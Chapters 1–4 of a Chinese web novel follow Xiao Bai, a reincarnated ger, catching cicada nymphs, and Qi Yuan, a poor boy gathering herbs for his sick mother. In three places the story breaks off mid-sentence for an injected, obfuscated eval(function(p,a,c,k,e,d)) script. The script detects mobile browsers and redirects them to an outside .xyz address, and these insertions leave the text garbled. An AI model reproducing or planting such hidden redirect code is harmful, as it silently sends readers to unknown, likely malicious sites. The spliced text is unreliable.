《赘婿书生家的小夫郎》 1. 第一章 盛夏时节的一场大雨降下来,当天夜晚就会有无比肥美的幼蝉从土里探出头,若是任由它们经过一夜快速生长,美味的盐焗幼蝉便将变成大蝉在屋后的林子里聒噪不休。 萧白悠哉悠哉躺在自己屋子门口的吊床上,手中还在不停捯饬着自己新鲜琢磨出来的捕蝉工具,打算今天晚上就带小外甥一起去后山林子里逮幼蝉,否则等再过段时间他中午肯定要被蝉鸣声吵得睡不好觉。 就在萧白捯饬得正来劲时,突然从远处传来一阵着急忙慌的脚步声:“小舅舅、小舅舅,刚刚我在门口跟黑蛋他们一起玩时,不小心听到秀娘婶婶说外公他们要悄悄摸摸找人给你相看啦!” 前不久才刚刚过完四岁生辰礼的杜小宝就跟头壮实的小牛犊一样,只眨眼的功夫就已经飞快跑到他小舅舅的吊床下,仰头更是满脸着急忙慌望着还不知道发生了什么的萧白:“小舅舅,你有听到我刚刚在说什么吗?” 萧白这会儿满心满眼都是幼蝉的一百零八种吃法,对杜小宝的话自然是左耳朵进右耳朵出:“知道啦、知道啦,今天用完暮食小舅舅保证带你去林子里抓幼蜩,只要费点儿功夫稍微处理一下,明天一大早咱们就有香喷喷的幼蜩可以吃啦~” 显然不靠谱的小舅舅完全没听到自己刚刚说了些什么,只无奈杜小宝本身还是个豆丁点儿大的小屁孩,扭头就被他小舅舅口中的各色美食所吸引,自然而然便将外爷他们要给小舅舅相看的事全部抛到脑后。 “可是蜩虫不好吃的呀~”想起蜩虫吃进嘴里像是在吃土一样的滋味,杜小宝便忍不住往他小舅舅身上左看看、右看看,满脸都是一副不可置信的怀疑模样。 捯饬小半天终于将自己新鲜发明的捕蝉工具做好,刚兴致勃勃从吊床上跳下来,萧白立刻抬手在小外甥圆圆润润的脑袋瓜上不轻不重弹了一下:“小舅舅什么时候骗过你,既然我都说好吃了,那滋味肯定就差不了!” 杜小宝比较随他那个五大三粗的猎户阿父,萧白一个脑袋蹦弹下去愣是半点痕迹都没留下来,在萧白兴致勃勃说起盐焗幼蝉的滋味有多好时,小家伙儿甚至还傻乎乎舔了舔快要流到嘴角的口水。 不一会儿就要到吃午食的时间,听见阿娘在院子外头扯着大嗓门喊自己名字,杜小宝跟小舅舅道别后忙不迭就扭头跑没影了,来来回回简直跟阵小旋风似的。 提溜两下自己手中新鲜出炉捕捉幼蝉的工具,萧白摸摸脑袋怎么也没回想起来小外甥突然跑过来找自己是为了什么,转头他在闻到一股喷香的滋味后,自是如往常那样咧着嘴欠欠跑进厨房,然后在他阿爹一贯的怒吼声中将顺来的一块红烧肉塞进嘴巴里。 唔,他阿爹的手艺真是越来越好了,尤其这道红烧肉就是比起前世那些有名的五星级大酒店主厨也是差不到哪里去。 细细回想起来,萧白已经胎穿到这个前世历史上从未存在过的国家十二年了,想当初他还只有那么一丁点儿大,小小的脑袋实在分不清自己来到了个什么地方,还是等到他稍稍再大上些,终于才发现自己穿越到了个陌生且神奇的世界。 完全不同于前世在性别上的划分,眼下这个世界不仅有纯粹的男性和女性,更多了可以生孩子的小哥儿这一神奇性别,只是具并不算太官方的民间统计,哥儿的数量在整个大盛还算庞大的人口中其实占比极低。 而前世作为一名货真价实且铁骨铮铮男子汉的萧白,这辈子还真就悲催投胎成那占比极低小哥儿中的一员。 不过在萧白整六岁前,上辈子的记忆在他脑海里始终都还是模糊不清的,或许因为小孩子的身体实在承受不住他过去二十来年的记忆,直到过完六岁生辰,那些纷纷杂杂的过往才在萧白脑海中一点点清晰明朗起来。 六岁的小小白在弄清楚自己眼下的状态后,分析出一好、一坏两条信息,虽然他好好一个男子汉变成了个可以生孩子的哥儿是有些恐怖,但好在前世孤儿出身的他这辈子终于有了个非常和睦且还算富裕的家庭。 上林村是萧白这辈子所出生的地方,他阿父青山妥妥是个继承了阿公好多良田的“傻白甜”,据说十多年前萧青山被征兵的队伍带走,扭头他不仅人完好无缺地回来了,顺带着还给自己娶到了个非常能干的厉害媳妇儿。 而作为阿父和阿娘唯一的孩子,这就代表着萧白在长大成人后,也将会成为一名可以躺平吃白饭的村富N代。 不过想要成为这个村富N代,多多少少还是要付出些代价的,反正阿公和阿父已经反复拍着桌子强调,萧白必须得给他们老萧家赘个夫婿,然后再生个小崽子出来。 嘴里一边嚼着喷香喷香的五花肉,萧白一边望着头顶雨后蔚蓝的天空发呆,赘婿就赘婿,生崽子就生崽子,反正他现在还只是个十二岁的小小少年郎,那些成年后才可以做的事情就等他成年以后再说吧~ 毕竟咸鱼的第一要义是能躺平就躺平、能拖延就继续往后拖延,几年以后才需要考虑的事情,现在来说是不是有些太早啦! 平白无故就把自己哄得很开心,偷着乐的萧白咧嘴就往身后喊了一声:“阿公、阿奶、阿娘,可以吃饭啦~” 前前后后得到几声大嗓门的回应,萧白扭头就非常勤快去厨房收拾了碗筷,然后一一将那些碗筷摆放在桌子上。 “哎呦,咱们家白哥儿可真是长大了,看看、看看,现在多勤快、多懂事!”看见懒蛋萧白这会儿帮忙跑前跑后收拾桌子,萧老头抓住机会当即乐呵呵地打趣起来。 厚脸皮如萧白当然不会有什么地方感到不好意思,伸手就将热气腾腾的白面饼子递到阿公、阿奶面前:“今天晌午都没看到阿公、阿奶,你们是不是又背着我偷吃什么好东西了!” 刚把做好的菜端到桌子上,棠悦上来一巴掌就拍到萧白手背上:“小小年纪怎么跟阿公、阿奶说话呢!” “哎呦,白哥儿不一直这么个大大咧咧的性子嘛,悦娘快赶紧坐下吃饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775726|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”护犊子的纪老太毫不犹豫开始给自家乖孙儿转移话题,棠悦见状心里那叫一个又无奈又好笑。 萧白眨眨眼看看这个再看看那个,赶忙讨好伸手给自家阿娘也拿了块白面饼子:“嘿嘿,阿娘也吃,发面饼子就要趁着热乎才好吃。” 作为家里食物链最低端的萧青山见状,赶紧满脸期颐冲着自家宝贝儿子伸出手:“白哥儿,还有阿父的呢?” 端水大师萧白立刻又从盛着馍馍的筐子里拿出个带焦壳的白面饼子:“阿父快吃,这焦壳光看着就知道一定很香、很酥脆,果然不愧是我阿娘的手艺~” 一句话可不仅仅哄开心了两个人,只吃吃喝喝的功夫,凭借萧白那张得天独厚的小甜嘴,萧家小院已然完全沉浸在欢乐的氛围中。 今日晨起刚下过场大暴雨,再加上村子后头那条小路本就不怎么平坦,这会儿早变成一片泥泞的状态,从那边走过一趟稍稍不小心就得弄上满身难洗的泥点子,所以各家各户上午都紧紧盯着自家孩子,不让那群小皮猴结伴东跑跑、西转转。 晌午时分各家各户屋顶都开始飘起阵阵炊烟,一个看起来只有十岁左右的男孩却背着背篓从后山慢慢走过来,抬眼看到离自家不远处最泥泞的地方,他干脆弯腰将脚上的草鞋脱下,然后赤脚淌过最难走的那段路。 “阿原回来了。”听到门口传来的细碎声响,谢盈娘扶着门框一路踉踉跄跄迎出来,看见儿子身上几乎没过小腿肚的泥泞,她抬手不经意拭过有些泛红的眼眶,“阿娘给你做了点儿饼子放在锅里,你洗洗脚赶紧去把饼子吃了。” “阿娘吃过没有?”家里的面本来就不剩多少,前几天齐原好不容易在后山抓到了只野兔子,跟同村的张屠户换了些杂面,他只怕阿娘白日里一个人在家不舍得吃、不舍得喝。 抬手掩着嘴唇闷声咳嗽两下,随即谢盈娘微微弯起一双温柔的眉眼:“吃了,阿原照顾好自己就行,阿娘都这么大人了,真不用你一个半大的孩子来操心。” 齐原直接从厨房里舀了半盆凉水,在门口将自己腿上、脚上的泥泞冲洗干净,随后穿上草鞋才又利落去把锅里放着的热饼子拿出来。 杂粮饼子里稍微放了些野菜做添味儿,只尝了一口齐原就知道里面放的并不是自己前两天采回来的野菜,但在抬头对上阿娘那双满是期待的眼眸,他毫不犹豫将原本想说的话吞咽回去:“今天的饼子格外好吃,阿娘也再吃一点吧!” “好,阿娘只再吃一点点。”谢盈娘一双本就温柔似水的眼眸立时弯得更加漂亮起来,在稍微咬了口饼子后,她略微犹豫片刻还是小心翼翼开口,“阿原,之前你说三日后不用去先生家听课,对吗?” 齐原边吃饼子边点点头:“先生那天要陪师娘去探亲,早早就给我们提前安排好了功课。” 谢盈娘若有所思点点头,又过了好一会儿她才继续道:“正好阿娘近来新给你做了件衣裳,改天你陪阿娘去见几个长辈吧!” 2. 第二章 自从父亲从外头寄来和离书后,齐原怎么不知道自己家里还会有什么其他长辈,他张了张嘴刚想说些什么,谢盈娘却又扶着桌子狠狠咳嗽起来。 前前后后不过半盏茶的功夫,谢盈娘一张脸就从咳嗽到涨红模样,跟着又变得格外苍白病态起来。 齐原这下再顾不上去询问更细节的问题,忙跑回母亲房间从一个小盒子里拿出了颗褐色“糖丸”,转头便飞快塞进谢盈娘口中。 “阿娘,你最近是不是又没有好好吃药,上次我按纪大夫给的配方做了二十来颗药丸,这都十多天过去了,怎么里面还剩不少!” 刚刚不过十岁的少年郎皱起眉头再板起脸时的模样,竟然隐隐已经有了些许“威严”架势,谢盈娘在极力控制住嗓子眼里仍要剧烈咳嗽的欲望后,抬手便在儿子眉心处轻轻敲上几下:“阿娘好不容易把我们阿原生得这么好看,成天皱着眉头马上都要比里正家的萧老爷子看着还垂垂老矣了。” 心里明白阿娘就是故意想把话题岔过去,齐原默默在心里叹了口气的同时终于放松下来紧皱着的眉头:“阿娘赶紧先休息吧,夫子今天还额外布置了课业。” “好好好,阿娘听话乖乖去休息,阿原也要乖乖听话认真完成夫子布置的课业。”明知道自家儿子向来是个极为巧、懂事的性格,但谢盈娘还是这么“多”说了一嘴。 伸手轻轻带着阿娘房间的门,齐原站在原地还是忍不住紧紧皱起眉头,别看他现在不过刚刚十来岁,皱起眉头的时候俨然格外成熟冷静。 家里情况实在有些不太好,自然也就没有条件让齐原挑灯夜读,趁着最近这段时间外面月色正好,他回房搬了自己亲手做的小桌案到院子里,一抬头刚好可以望见阿娘房间的窗户。 小小少年就那样趁着朦胧月色读了好一会儿书,约摸着阿娘药效起来已经沉沉睡去,齐原收拾好小桌案上的东西转身飞快回了自己房间。 等他再从房间出来时,略显瘦削的肩膀上已经背上了个简陋的竹筐,竹筐里还放着把专门用来采药的小锄头。 阿娘的病情容不得半点耽误,但家里又实在没有多余的银钱去药铺拿药,好在镇上的纪老大夫是个十分心善的人,不仅低价给开了药方,甚至每味药都尽量用了山上可以采到的。 只是平时齐原要去村孰上课,还要在夫子家里帮忙喂鸡喂鸭、挑水扫地充当束脩,不用想也知道阿娘是不想自己太累,所以近来才越发不愿意按时吃药。 月色下小小少年略显稚气的眉眼显得格外坚毅,在齐原看来日子过得苦些没关系,只要阿娘可以好好活着,那他无论做什么就都是心甘情愿的。 因为早晨下过一场雨,到这会儿山脚下依旧有些泥泞不堪,只是比起来时那条小路还是好上不少,为了不弄脏身上的衣服,齐原将背上的背篓暂时放下来,随即又将裤脚往上卷了卷,衣摆处直接塞到腰间,这样行动起来就已经很利落了。 虽然这两日晚上的月色很好,但在山脚下寻摸草药还是件很难的事情,不过齐原每次都会过来这边给老师家里养着的兔子割草,对这边哪里有什么草药,哪里有没有坑洼自是足够了解。 午时那会儿萧白就满心满眼记挂着晚上到后山脚下抓幼蝉的事情,这会儿阿爷、阿奶正拉着阿父、阿娘在屋子里不知道商量着什么大事,萧白趁机扯着嗓子故意瞎喊一声,扭头拿着自己提前准备好抓幼蝉的工具拔腿就往外跑。 “这孩子,马上都是要相看的年纪了,怎么还一副调皮捣蛋鬼的样儿!”没谁能比棠悦更了解自家儿子那不着调的性子,不用想就知道萧白是要带着小宝往后山跑。 估摸着虎子会跟在俩孩子后头,棠悦自是没什么不放心的,只是想着儿子眼下的年纪,心头那叫一个无奈。 “那有什么,真正算起来咱们白哥儿就是还小着呢,哪怕相看不也是想着给他早早招个知根知底的童养赘婿,好先培养、培养两人的感情。”说起这个纪老太就无所谓的摆摆手,显然她满心满眼都是对自家小心肝的疼宠。 其实真正说起来,萧白能养成现在那副不着调的皮实性子,跟一家人共同的宠溺完全脱不开关系,一大家子也就棠悦勉强算是严母的角色,偏偏她每次开口要教训孩子,转头二老已经将萧白严严实实护在怀里。 这边一大家子还在讨论要给萧白相看的事,另外一头萧白兴致勃勃拉着自家小外甥已然冲在捕捉幼蝉的第一线,不过俩人开始还是非常友好的同盟关系,转头不知道什么时候已经开始比起谁晚上能捕捉到更多幼蝉。 得瑟双手叉腰的间隙里,萧白骄傲朝小宝抬了抬下巴:“敢跟你小舅舅比抓幼蝉,孙小宝你最近真的很有勇气啊!” 杜小宝立刻学着自家小舅舅得瑟的模样,双手大咧咧往腰间一叉:“哼,反正今天晚上我是赢定了——” 下过一场雨后的地面显得格外松散,这样幼蝉才能更轻松从土里钻出来,萧白自己捯饬出来的工具很好用,在比较低矮的地方他可以直接伸手把幼蝉丢进框里,高一些的地方拿着工具上下晃两下,幼蝉已经站不住脚“主动”掉进工具中。 无疑这样快速捕蝉是件很有成就感的事,于是萧白一边哼着胜利的小曲儿,一边走着、走着就往后山那头走远了些。 同样都是在这片山脚下长大的孩子,萧白显然没有齐原足够了解这边的地形,他那双滴流圆的大眼睛只顾着去看身旁的树上有没有幼蝉,结果一个没注意他左腿膝盖就磕到了块大石墩子上,疼得他呲牙咧嘴立时就蹲下抱住自己受伤的小腿肚。 “啊啊啊,疼死小爷了,谁把个大石墩子弄到这边来的,呜呜呜呜,我的腿好疼啊!”萧白从小到大就格外怕疼,真不是他矫情,完全就是个人特殊体质的问题,反正这会儿他是疼得眼泪花都不自觉冒了出来。 不过那撞了他的石墩子倒也不是全无用武之地,萧白一脚踉跄着,一手扶住石墩子缓缓坐下来,就在他弯腰想要朝受伤的小腿出吹口气的功夫,一歪头就隐约察觉到自己右手方向的不远处,似乎有什么人蹲在那里朝自己看过来。 上林村山脚下本就没有什么凶禽猛兽,这也是萧家人敢大晚上放萧白出来捕蝉的原因之一, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775727|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故而萧白在对上月光下那双肯定是人的眼眸时,下意识开口来了句:“你是来拉屎的吗?” 齐原一手拿着刚挖出来的药草,一手拿着特制的小锄头,下意识被萧白突如其来开口的话给问懵了,好一会儿后他才摇了摇头:“不是。” 嘿嘿,这小孩声音还挺好听,就是不知道变声期后还会不会同样好听,略显昏暗的月光下实在看不清楚对方的面容,萧白只知道对面肯定不是平时跟在自己屁股后面跑的那几个家伙,于是他在齐原简单吐出两个字后,撅着屁股继续往石墩子上坐了坐:“那我也不是。” 小腿处被撞伤的地方不停传来密密麻麻的痛感,萧白不过简简单单往石墩子上蹭一蹭,立时疼得他本就呲牙咧嘴的模样越发“狰狞起来。 “……你需要草药吗?”这样的情况下齐原走也不是、不走也不是,索性他找到了些止疼的草药往萧白的方向抵了抵,“这是鬼针草的叶子,有止血、止疼、消肿的效果,你可以揉碎后涂擦在受伤的地方。” 萧白这会儿真得太疼了,索性他抱着腿可怜巴巴看向齐原:“我疼,你可以帮我把草药揉碎吗?” 帮忙把草药揉碎并不是什么困难的事情,只是齐原平时独来独往惯了,被面前小哥儿顶着双湿漉漉的大眼睛看过来时,他很不自在地微微垂下眼眸,随即才二话不说先将手上鬼针草的叶子揉碎出青绿色的汁液。 怕疼的人是身上稍微破点儿皮肉就要眼眶通红的,萧白这会儿别说分出精神去揉碎草药,只怕让他再往自己腿上轻轻吹口气,他都要冒出点儿眼泪花的。 想要疼痛在不知不觉中减轻,只能强行转移自己的注意力,于是萧白将双手撑在身下的大石头上,一双仍有些湿漉漉的眼眸转而看向正在揉碎草药的少年:“你大晚上不睡觉,跑来后山这边做什么?” 夜里微微的凉风吹过,哪怕现在是一年中最热的盛夏,此时此刻依旧让人感觉凉爽极了。 齐原抿着唇将采来的鬼针草叶子全部揉碎,念着身后少年到底是个小哥儿,他稍微犹豫片刻后,将那些揉碎的草药放在自己随身带着的手帕上,随即才将手帕递到萧白面前:“药你自己上吧,我得回去了。” 少年身形看着清瘦得很,不过站起来的时候却比同龄人更高挑许多,萧白向上仰起脑袋才趁着不够明亮的月光隐约看清面前人的模样,只是完全不等他细看,对方将安置着草药的手帕递过来,转身没几息功夫就走远了。 倒是个面冷心热的人,萧白眨了眨眼眸随即才又将注意力落到自己往外沁出一点点血丝的腿上。 草药接触到皮肤的那一刻带来微微的凉意,倒是减轻了些磕破皮后的灼痛感,只不过那点儿凉意过后,还是有眼泪不受控制啪嗒啪嗒从萧白眼眸中夺眶而出。 “小舅舅,怎么一眼没看到你就把自己弄成这样了?”听到声音的小宝赶忙朝着自家小舅舅跑过去,凑近看到萧白已经上好药的膝盖,他立时小大人般重重叹息一声,“小舅舅还真是不让人省心。” 萧白:……小屁孩请不要学你娘说话,拜托了! 3. 第三章 不出去的时候每时每刻都想着出去耍,出门一趟又把自个儿膝盖磕的血迹斑斑,于是萧白在姐夫的搀扶下回到家,刚想要装作衣服若无其事的样子扭头回房休息,下一刻他家阿娘已经“温柔”笑着冲他招招手。 “阿娘,这么晚了你跟阿父怎么还没休息啊!”心里知道今晚这通训斥是躲不过去了,但萧白心虚眨巴着双大眼睛,依旧不死心试图在他阿娘面前混过去。 孩子都已经长这么大了,做阿娘的怎么可能不知道萧白犯错后心里的那点儿小九九,所以棠悦稳稳坐在椅子里只是抬头冲着儿子温柔笑着,萧白便已经非常乖巧“踉跄”着脚步一点点蹭到自家阿娘面前。 虽然膝盖处依旧还是很疼,但也不至于疼到一点路都没办法走,所以萧白踉踉跄跄的程度就很有讲究,等他一点点磨蹭到自己阿娘身边时,果然他家阿娘只是无奈叹息一声。 “知道自己怕疼怕得厉害,大晚上还敢出去抓幼蜩,就算出去抓幼蜩,怎么也不知道小心点儿。”看到儿子膝盖处红红绿绿一大片,棠悦是又气又心疼,“好在今晚脑子是带出门了,知道给自己弄点草药敷上去。” 其实……脑子也是没有带出门的,萧白眨眨眼愣是没把这句话说出口,再者他压根就不知道大晚上跑进后山的那个少年是谁,怕是他随便提一嘴,阿娘便能抓着他打破砂锅问到底。 看到儿子舔着张脸朝自己讨好笑着的皮猴子样儿,棠悦便又开始头疼起来,立时她冲着萧白嫌弃摆摆手:“赶紧回你屋子休息去,那些幼蜩阿娘先帮你处理干净,想吃明天一大早自己起来弄,可没人能弄得了你脑瓜子里那些稀奇古怪的吃食。” “嘿嘿,好的、好的。”提起自己辛辛苦苦抓来的那些幼蝉,萧白立刻忘了膝盖上的伤,顶着有些乱糟糟的脑袋他黏糊糊凑到自家阿娘身边亲昵蹭了蹭,“谢谢阿娘,阿娘辛苦了。” 此时此刻距离后山稍微有些距离的齐家,背着自己辛辛苦苦采来的草药,齐原轻手轻脚将紧紧关着的院门打开。 少年人本来该是多吃、多睡长身体的年纪,但这会儿齐原还要忙着将采来的草药处理好,不然等到明天白日里被阿娘发现,阿娘肯定又要自责了。 处理草药是件很麻烦的事情,但现在的齐原显然已经格外熟悉那些流程,一板一眼处理得格外认真,然而就在这个时候院门那边突然传来一阵窸窸窣窣的声音。 正在处理草药的手停在那里,本就板着张脸的齐原面色瞬间更加难看起来,不过显然他同样是非常熟练面对这种情况,起身拿起放在墙角的石锹就一点点靠近发出声响的地方,等墙角上隐隐露出半张油腻不堪的丑陋面容,齐原毫不犹豫挥着手中的石锹把握着力度狠狠砸过去。 墙角外面立时传来一阵吃痛的怒骂声,齐原却只是拿着那把石锹静静站在原地,等院子那头外强中干的怒骂声渐行渐远,他才板着张脸重新回到堂屋门口继续处理那些草药,可见过往这种事情也是经常发生的。 第二天,天才刚蒙蒙亮萧白就被一阵乱糟糟的声音吵醒,但他实在有些太困了,干脆把整个脑袋瓜都塞到柔软的枕头下,随后他便隐约听见阿父正在跟阿娘说着些什么,但不等翘着耳朵细听,小哥儿又已经迷迷糊糊睡过去。 眼下正是丰收的季节,据萧老头所说,以前萧家祖上也是极为富贵过的,不过即便眼下萧家风光不再,在整个上林村依旧算得上是数一数二的富户。 家里几十亩良田要全靠萧老头和萧青山父子俩,那怕是把两人累死都干不完,所以从好几年前开始,每到丰收的时节,家里那些活计就都是雇佣村子里的人来干。 等萧白再从好眠中茫茫然醒过来时,太阳已经斜斜照进整间屋子里,也就萧白体质没那么怕热,才能在这个时间点还能睡得那么香甜。 “啊,我的炸幼蝉!”突然想起昨天晚上阿娘说要帮自己处理好那些幼蝉,萧白蹭一下就从床上爬起来,但因为昨晚膝盖上磕伤的地上已经稍稍结了一层痂,膝盖处略显紧绷的地方立刻传来一阵细细密密的痛感,只把萧白疼得眼泪珠子不受控制大颗大颗往下掉。 阿娘说前段时间借了村头棠婶子的针线工具,想着好几天不还回去也不合适,齐原在弄完家里的那些活计后就被差使着过来送东西,在他刚刚走进萧家院子里时,恰好就听见后头某个房间里传来一阵“撕心裂肺”喊疼的声音。 那声音于齐原而言多少有些熟悉,大概是昨天晚上在后上碰到的那个哥儿了,于是他一边往堂屋那边走,一边不动声色往声音传来的方向又看了两眼。 “婶子,这是阿娘让我还回来的东西。”少年一张嘴嗓音显得格外清润好听,抬眸看过来时的那张脸更是可以称得上是丰神俊秀,只是听说这孩子速来不怎么爱笑,倒是让他看上去有几分大人模样。 棠悦眉眼弯弯接过少年郎递来的东西,垂眸看见针线筐子里竟然还放着两张针脚格外漂亮的绣花帕子,她当即开口问道:“阿原是吧,听说你阿娘前段时间又病倒了,这几天有没有好一些?” 齐原到底还只是个孩子,平时不仅要忙着去村孰听课,还要给夫子家里喂养家禽、打扫卫生,闲暇时候除了完成夫子布置的功课,更要抽空去后山给阿娘找草药,所以他还真不知道自家阿娘跟面前这位棠婶子有什么交情。 心里头不过短暂思虑片刻,随即齐原很是认真地点点头:“最近天气比较热,阿娘平时又喜欢坐在院子里多晒晒太阳,身子跟着也稍微好上了一些。” 少年郎一板一眼的模样,让棠悦有些好笑更多的又是心疼,老话都说穷人的孩子早当家,明明眼前少年比他家白哥儿还小上个两三岁,但论起性情真是懂事、成熟太多了。 送完东西齐原低声道别后转身便往外走,等他刚刚走到萧家堂屋门口,恰好萧白低眉搭眼拖着条“伤腿”,跟少年擦肩而过后慢腾腾走进屋。 因为腿上传来细细密密的疼痛,小哥儿一双眼眸直到这会儿还有些微微泛红,不过在看到自家阿娘的那一刻,他立刻裂嘴笑起来:“阿娘、阿娘,我抓来的那些幼蜩都去哪儿了?” 人家那么乖巧懂事的孩子刚刚走,自家不是吃就是睡,另外再不断闯点儿小祸的儿子就嬉皮笑脸蹭到跟前,棠悦立时没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775728|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好气来了一句:“去哪儿了?当然是脱壳后一个个都飞跑了。” “啊,那可是我负伤才抓回来的幼蜩,真全部都飞走了吗?”刚刚睡醒的萧白脑子还有些反应不过来,阿娘说什么他就信什么,一听说自己那些幼蜩全部飞走了,本来因为受伤就有些不开心的他立刻更加难过起来。 眼见这傻孩子眨巴眨巴眼睛就能可怜巴巴哭起来,棠悦真是又好气又好笑,最后她也只是宠溺点了点小哥儿白嫩的额头:“去厨房自己折腾去吧,都已经给你处理干净了。” 终于反应过来刚刚阿娘是在跟自己开玩笑,萧白嘿嘿一笑扭头就赶紧往厨房那边跑,结果还没跑出去两步远,膝盖上的疼痛再次传来,让他只能老老实实拖着腿往厨房那边蹭。 这可是自己想了好长时间的炸幼蝉,望见那些被阿娘处理到干干净净的幼蝉,萧白就差流着口水摩拳擦掌了。 家里还有不少过年时候炸的猪油,想要幼蝉做的外酥里嫩、香咸可口就一定不能吝惜油的用量,所以估摸着整个上林村也就只有萧白敢这么随意地折腾着东西吃了。 刚刚从外面转悠一圈回来的萧老头远远瞅见自家乖孙在厨房忙活个不停,乐呵着走上去忍不住打趣一句:“哎呦,我家白哥儿现在都能自个儿下厨房做饭喽!” 家里还真没让萧白真正动手学过洗衣做饭、打扫家务,听阿公这么说萧白一张脸忍不住有些泛红,不过扭头他就厚脸皮拉着阿公帮忙烧火。 看到乖孙往锅里挖了一勺又一勺猪油,萧老头那是一点都不心疼,只是满脸好奇去看盆里那些已经处理干净的幼蜩,然后满是怀疑来上一句:“白哥儿,你确定这东西能吃,待会儿做出来不会吃坏肚子吧?” “怎么可能,阿公等着吃好吃的就行了。”萧白别的手艺是不太行,但在油炸各种吃食上面还算挺有经验,毕竟前世他上大学那会儿在校门口烧烤火锅店里兼职过挺长时间,手艺那可都是通过实践锻炼出来的。 浓稠的猪油受到高温在锅里一点点化开,萧白伸手凑近感受了下热油的温度,光是这一点点小动作就把萧老头吓了一大跳:“你个傻孩子,别真把手塞油锅里去了,过来这边好好烧火,你跟阿公说炸的时候具体要怎么做。” 出师未捷身先死,萧白还没真正掌上勺,扭头就跟他家阿公互换了位置,不过阿公厨艺向来很好,就连阿父那一手绝活都还是跟阿公学的呢,萧白很识趣简单说了两句,剩下自然是让阿公自己发挥啦。 小火一点点炸出来的幼蜩是真香,眼看着幼蜩在油锅里一点点变了颜色,萧白忍不住再次吞咽两下口水。 看着火候将已经炸到金黄酥脆的幼蜩盛到提前准备好的小竹篮里控油,趁着刚出锅的幼蜩还很烫,萧白捏着白雪般的盐粒细细撒上去,下一刻他再忍不住捏着颗炸幼蜩就丢进嘴巴里。 放入少量花椒去除味道的猪油本身已经足够醇香,配着一口咬下去酥脆可口的炸幼蜩,那味道别提有多赞了。 萧白嘴里一边不停嚼着,一边朝自家阿公竖起大拇指:“阿公一手厨艺真是绝了,好吃,超级、超级好吃。” 4. 第四章 小哥儿吃到满嘴流油的模样看起来还真馋人,萧老头半信半疑捏了个炸幼蜩塞进嘴里,一口下去外酥里嫩半点土腥味都没有,甚至多少有些奇特的口感中还带着无法忽视的咸香肉味,让人忍不住吃了一个还想吃下一个。 “嘿嘿,阿公,炸幼蜩是不是很好吃?”见自家阿公情不自禁露出满脸惊艳的模样,萧白转头端起那个控油用的小竹篮就往堂屋那边走,“阿公快来,让阿奶和阿娘也赶紧尝尝我们爷俩的手艺。” 堂屋那头纪老太正拉着棠悦商量着什么事情,听见自家小哥儿满满兴奋的嗓音,两人立时都忍不住弯眸笑起来,棠悦有些无奈:“这孩子也不知道怎么这么馋嘴?” “哪个小孩不馋嘴,我们白哥儿有了好东西半点不忘阿奶,多贴心的好孩子啊!”扭头看着自家乖孙端着小竹篮朝这边兴奋小跑过来,一张老脸笑开了花的纪老太立刻担忧叮嘱着,“慢点跑、慢点跑,别再摔着了。” 萧白跟小宝昨晚一起抓到的幼蜩是真不少,给小宝他们送上一些后,萧白眨眨眼突然想起昨晚给自己揉碎草药的那个少年,说起来他这个上林村妥妥的孩子王,到现在都还不知道对方是谁呢。 不过折腾一上午的萧白在闲适躺到阿公和阿父给他搭的吊床上后,不知道怎么就突然想起早上在堂屋门口跟自己擦肩而过的那个人。 终于想起那人隐约的面容,萧白倏地就从吊床上做起来,然后整个人就不受控制兜在吊床里来回摇晃。 “阿娘,今天早上是不是有人往咱家里来了,我以前怎么都没见过他?”想着想着萧白赶紧从吊床里跳下去,转头三两步就往自己阿娘的屋子里跑。 这会儿院子里太阳正盛,在地里监工回来的萧青山抱着媳妇还没亲香多大会儿,就被外头吵吵闹闹的臭小子打断了好事,见自家媳妇儿通红着脸略显慌乱的模样,萧青山忍不住凑上去还想再亲一口,下一刻他就被没控制好力道的棠悦给毫不客气推到在了床上。 等萧白终于跑进屋时,抬眼便看到自家阿娘正坐在床上缝补他昨晚不小心磕破的衣裳,而他家阿父拿着本什么书好像看得非常认真。 阿公平时特别喜欢跟自己吐槽阿父小时候的“不学无术”,好不容易哄着他去村孰上课,结果人家愣是待在村孰里呼呼大睡,要是以前萧白肯定能发现自家阿父的装模作样,不过这会儿他想着早上那个少年的事情,自然也就没注意到阿父藏在书本后面奇奇怪怪的模样。 “阿娘、阿娘,今天早上是不是有人来了咱家,我以前怎么都没见过那个小孩?” “你才几岁就知道叫人家小孩,阿原虽然比你小两三岁的样儿,但个头可一点不比你矮。”棠悦被自己儿子那大人似的语气弄得有些哭笑不得,不过对上萧白一双茫然的眼眸,她像是突然想到什么,干脆继续开口解释着,“不过说起来你还真没怎么见过阿原那孩子,他们家里情况有些特殊,上林村是个大村子,他们平时又不太跟外人来往……” 